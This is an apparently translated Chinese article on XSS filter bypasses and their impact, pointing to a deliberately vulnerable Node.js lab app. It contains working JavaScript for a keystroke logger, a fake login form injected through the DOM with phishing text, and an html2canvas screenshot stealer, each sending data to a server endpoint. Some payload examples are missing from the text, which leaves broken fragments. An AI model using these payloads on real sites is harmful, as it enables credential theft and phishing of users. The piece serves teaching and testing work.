几种加载XSS Payload的不常见标签
和我们能想到的一样,预防是最好的治疗方法,而且去尝试和缓解一些意外的攻击也不失为一种好的策略实践。通常情况下,大多数组织机构只会部署现成的WAF产品(网络应用防火墙),而不是制订开发适合自身的缓解技术,根本不会意识到那些结合自身的防护技术才是最恰当最精准的安全措施。
这样一来,攻击者们在构造代码验证请求或实施代码审计之后,有WAF产品也没用,攻防双方就又形成了猫捉老鼠或是打地鼠的游戏格局了。
就通用的XSS filter来说,因为 配对标签的使用是完全禁止的。
如果一个攻击者发现标签对会被过滤器转换为空字符串,那么,把它们组合构造夹杂放入一条javascript中,最终只有标签对被删除了,其它剩下的就又形成了新的组合方式,示例如下:
ript>alert(1) ript>
上述javascript中,如果过滤器只是简单地把标签对删除了,那么最终会剩下:
完美,这就是我们想要的。同样的方法可以应用到一些标签属性或事件处理程序中,就像如果onerror是删除目标,那么,我们可以构造以下Payload:
最终删除后剩下的结果为:
替换不安全样式
当一些不安全的样式被替换而不是被删除之后,目标系统过滤器要识别它们,可能就有一些麻烦了。根据不同的过滤器规则,可以使用替换方式来构造我们最终想要的Payload。
就比如,如果目标系统的过滤器会把标签对都过滤替换为NAUGHTY_HACKER字段,那么,我们提交 之后的结果就会是NAUGHTY_HACKERalert(1)NAUGHTY_HACKER。
但如果我们把>这种嵌套式样式后,那么参照替换为NAUGHTY_HACKER字段的规则,对于来说,目标过滤器会把它过滤为:
在开始标签中,虽然技术上属于无效,但最终却能正确解析。因为浏览器在某种程度上为了减少错误,虽然能识别到这个附加属性,但会简单地把它忽视掉。最终在浏览器的检查器效果如下:
XSS的影响绝不仅仅是跳出弹框!
一些XSS披露漏洞中简单的跳出弹框PoC证明,可能是导致XSS漏洞危害被认知不足的一个原因吧,尽管XSS调用alert形式的弹框能证明漏洞的存在,但却不能很好地证明XSS漏洞的实际威力和影响。所以,XSS漏洞导致的JavaScript执行到底会有多严重,让我们产生无限遐想。在此就分享两个案例。
无需会话Cookie劫持实现账户获取
会话Cookie劫持可能是XSS攻击中对目标系统或用户的最大潜在威胁,因为这通常会导致目标用户的会话被攻击者完全操纵利用。
越来越多的人熟知会话劫持的风险,因此,后期在会话信息中加入了HttpOnly标志,来避免JavaScript读取Cookie,这应该算是一个大的改进了,但实际来说,劫持账户也并不只有Cookie劫持一种方法。
有很多事件程序可以和JavaScript关联起来,其中一个就是 keypress 按键事件(你能看到该事件背后会发生什么吗?)。通过在keypress事件的document调用方法中添加回调函数Callback,在用户点击、按下或选中触发回调,以此来截取用户的按键信息。
通过这种操作,攻击者可以有效地将键盘记录器植入用户浏览器中,实现按键监听,窃取用户密码凭据相关的按键信息。如下视频:
document.addEventListener('keypress', function (event) { var xhr = new XMLHttpRequest() xhr.open('POST', '/keylogger') xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded') xhr.send('data=' + event.key)})
DOM 形式的操纵利用
虽然上述XSS构造的键盘记录器能正常起效,但如果不被目标用户信任,迷惑不了目标用户执行输入,那么,这种攻击最后也会无效。
我们可以对上述键盘记录器PoC稍作修改,可以修改执行时的DOM,用包含登录页面的body内容进行替换。这样一来,可以把任意标记内容都分配给document.body.innerHTML作为属性,如下:
var dummyFormHtml = 'We\'ve had reports of bad guys trying to do wrong by ' + 'our users lately - help us, help you, by logging in ' + 'again to confirm your identity
' + '
'document.body.innerHTML = dummyFormHtmldocument.addEventListener('keypress', function (event) { var xhr = new XMLHttpRequest() xhr.open('POST', '/keylogger') xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded') xhr.send('data=' + event.key)})
这样,页面的body内容将会形成一个迷惑性的登录框,诱使用户输入密码凭据等敏感信息。如下:
DOM 形式的这种操纵利用远不止于此,另外,它还可以用来构造复杂的社工攻击。比如,可以被构造用来向用户发送提示通知,告诉用户需要通过某个号码去联系客户支持部门,如果这种提示显示在和用户访问的目标网站相同的域名上,那么其可信度就相当高了,只要用户拨通所谓的客户部门电话,个人敏感信息就会被攻击者轻易获得。
一图胜千言 – 利用XSS窃取用户浏览器视图截图
如今,随着现代浏览器功能特性的不断发展更新,XSS Payload的构造方式也不断升级,利用新的浏览器功能特性,攻击者甚至可以窃取到用户当前浏览器视图的截图信息。
html2canvas 能够实现在用户浏览器端直接对整个或部分页面进行截屏,利用这一功能,攻击者用6行JavaScript代码就能窃取受害者浏览器视图截图,并回传到控制服务器。代码示例如下:
html2canvas(document.querySelector("body")).then(canvas => { var xhr = new XMLHttpRequest() xhr.open('POST', '/screenshot') xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded') xhr.send('data=' + encodeURIComponent(canvas.toDataURL()))});
结合上述代码,构造以下Payload提交到测试的目标用户应用中,之后,就会生成一张包含目标用户使用信息的截图图片,而且该图片会被回传至攻击者控制服务器中。
上述代码中的十进制数编码对应的就是以下函数方法:
setTimeout(function() { var d = document; var a = d.createElement('script'); a.setAttribute('src','/scripts/screenshot.js'); d.head.appendChild(a);}, 1000)
setTimeout()方法用于在指定的毫秒数后调用函数,这里调用了setTimeout原因是为了确保图像显示在屏幕上以供验证说明。
虽然上述Payload是将截图发送到和目标Web应用相同的服务器中,但在实际环境中,完全可以把截图发送到攻击者控制的远程外部服务器中去。
Payload一旦执行后,一个名为screenshot.png的截图文件就会出现在Node.js应用中,该截图包含了网页内容,如下:
参考
如果你想实际动手测试这篇文章中提到基于Node.js的Web应用实例,把玩其中的键盘记录器或浏览器截图程序,请参考我们的GitHub页面:https://github.com/DigitalInterruption/vulnerable-xss-app